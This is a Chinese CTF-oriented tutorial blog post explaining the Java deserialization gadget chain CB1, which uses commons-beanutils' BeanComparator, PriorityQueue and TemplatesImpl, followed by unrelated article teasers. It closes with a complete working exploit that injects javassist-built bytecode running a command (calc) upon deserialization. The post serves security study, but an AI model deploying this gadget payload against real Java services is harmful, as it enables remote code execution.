【Web】Java反序列化之CB1链花样调TemplatesImpl

news/2024/5/19 22:48:09 标签: java, java反序列化, 反序列化, CB1链, ctf, web, 开发语言

前文:【Web】Java反序列化之CC2——commons-collections4的新链之一

目录

关于commons-beanutils

关于PropertyUtils.getProperty

TemplatesImpl实例化类的调用链路

TemplatesImpl#getOutputProperties竟是getter方法

接轨TemplatesImpl链的关键类——BeanComparator

exp


关于commons-beanutils

Apache Commons BeanUtils 是 Apache 软件基金会下的一个开源项目,提供了一组工具方法,用于简化 Java 对象(Bean aka POJO)之间的属性拷贝、类型转换等操作。

关于PropertyUtils.getProperty

PropertyUtils.getProperty 是 Apache Commons BeanUtils 提供的一个方法,用于获取 JavaBean 对象的属性值。该方法会自动去调用一个JavaBean的getter方法。

代码示例:

import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;

public class Main {
    public static void main(String[] args) {
        // 创建一个示例对象
        Person person = new Person("Alice", 25);

        try {
            // 获取属性值
            String name = (String) PropertyUtils.getProperty(person, "name");
            int age = (int) PropertyUtils.getProperty(person, "age");

            System.out.println("Name: " + name);
            System.out.println("Age: " + age);
        } catch (IllegalAccessException | InvocationTargetException | NoSuchMethodException e) {
            e.printStackTrace();
        }
    }
}

class Person {
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // 省略 getter 和 setter 方法
}

TemplatesImpl实例化类的调用链路

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

我们的最终目的是走到defineClass这一步,但只要可以调用这条链上的任一方法就可以触发连锁反应,最后达成目的

CB1链,正是通过getOutputProperties的调用来完成攻击的

TemplatesImpl#getOutputProperties竟是getter方法

意料之外,情理之中

outputProperties是一个私有属性

private Properties _outputProperties;

 重写了getter方法

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

算是一个比较抽象的bean(

接轨TemplatesImpl链的关键类——BeanComparator

反序列化的入口类是PriorityQueue,其readObject方法最终会调用传入comparator的compare方法(具体分析可以看文章一开始贴的链接)

下面我们来看BeanComparator的compare方法

public int compare(T o1, T o2) {
        if (this.property == null) {
            return this.internalCompare(o1, o2);
        } else {
            try {
                Object value1 = PropertyUtils.getProperty(o1, this.property);
                Object value2 = PropertyUtils.getProperty(o2, this.property);
                return this.internalCompare(value1, value2);
            } catch (IllegalAccessException var5) {
                throw new RuntimeException("IllegalAccessException: " + var5.toString());
            } catch (InvocationTargetException var6) {
                throw new RuntimeException("InvocationTargetException: " + var6.toString());
            } catch (NoSuchMethodException var7) {
                throw new RuntimeException("NoSuchMethodException: " + var7.toString());
            }
        }
    }

如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取传入的两个对象的 this.property 属性,而this.property是在BeanComparator的构造方法处传入的(也可以用反射来操作),完全可控

 public BeanComparator(String property) {
        this(property, ComparableComparator.getInstance());
    }

当o1/o2是一个 TemplatesImpl 对象时,property 的值为 outputProperties 时,我们就可调用TemplatesImpl#getOutputProperties(),完成攻击链的调用

观察PriorityQueue的构造方法

public PriorityQueue(int initialCapacity,
                         Comparator<? super E> comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity < 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }

我们可以用反射操作PriorityQueue的queue属性为TemplatesImpl 对象的方式来实现目的。

exp

这里用的是javassist来获取字节码

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.29.2-GA</version>
</dependency>

召唤计算器的神奇咒语:

package com.CB1;

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CB1 {
    public static void setFieldValue(Object obj, String filedname, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(filedname);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        ClassPool classPool = ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload = classPool.makeClass("CB1");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
        byte[] bytes = payload.toBytecode();
        Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();

        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue queue = new java.util.PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

http://www.niftyadmin.cn/n/5404248.html

相关文章

图神经网络实战——图论基础

图神经网络实战——图论基础 0. 前言1. 图属性1.1 有向图和无向图1.2 加权图和非加权图1.3 连通图和非连通图1.4 其它图类型 2. 图概念2.1 基本对象2.2 图的度量指标2.2 邻接矩阵表示法 3. 图算法3.1 广度优先搜索3.2 深度优先搜索 小结系列链接 0. 前言 图论 (Graph theory) …

C++高级面试题:解释 C++ 中的智能指针循环引用问题,并介绍如何解决它

解释 C 中的智能指针循环引用问题&#xff0c;并介绍如何解决它 智能指针循环引用问题指的是两个或多个对象之间相互持有对方的智能指针&#xff0c;导致内存泄漏的情况。当使用智能指针时&#xff0c;如果对象之间存在循环引用关系&#xff0c;可能会造成内存泄漏&#xff0c…

80平现代黑白灰装修设计亮点分享,福州万科澜悦。福州中宅装饰,福州装修

今天和大家分享一套黑白灰装修案例&#xff0c;地点位于福州万科澜悦&#xff0c;面积为80平。 ①无主灯悬浮吊顶 用线性灯筒灯作为主要照明来源&#xff0c;让整个空间看起来更加明亮和宽敞。这种设计非常流行&#xff0c;它不仅可以让房间的视觉效果更佳&#xff0c;还能营造…

【C++干货基地】揭秘C++11常用特性:内联函数 | 范围for | auto自动识别 | nullptr指针空值

&#x1f3ac; 鸽芷咕&#xff1a;个人主页 &#x1f525; 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想&#xff0c;就是为了理想的生活! 引入 哈喽各位铁汁们好啊&#xff0c;我是博主鸽芷咕《C干货基地》是由我的襄阳家乡零食基地有感而发&#xff0c;不知道各位的…

【Spring连载】使用Spring Data访问 MongoDB----对象映射之属性转换器

【Spring连载】使用Spring Data访问 MongoDB----对象映射之属性转换器 一、声明式值转换器二、编程式值转换器注册三、MongoCustomConversions配置 虽然基于类型的转换已经提供了影响目标存储中某些类型的转换和表示的方法&#xff0c;但当仅考虑特定类型的某些值或属性进行转换…

【详识JAVA语言】数组的定义与使用

数组的基本概念 为什么要使用数组 假设现在要存5个学生的javaSE考试成绩&#xff0c;并对其进行输出&#xff0c;按照之前掌握的知识点&#xff0c;我么会写出如下代码&#xff1a; public class TestStudent{public static void main(String[] args){int score1 70;int sc…

动态规划-最长公共子串(c)

动态规划 动态规划&#xff08;dynamic programming&#xff09;是一种算法设计方法。基本思想是在对一个问题的多阶段决策中&#xff0c;按照某一顺序&#xff0c;根据每一步所选决策的不同&#xff0c;会引起状态的转移&#xff0c;最后会在变化的状态中获取到一个决策序列。…

《高性能MYSQL》-架构,锁,事务

MYSQL的逻辑架构 第一层&#xff0c;客户端层&#xff1a;包含了连接处理&#xff0c;身份验证&#xff0c;确保安全性等 第二层&#xff0c;包含了mysql大部分的核心功能&#xff0c;查询解析&#xff0c;分析&#xff0c;优化&#xff0c;以及所有的内置函数&#xff08;例如…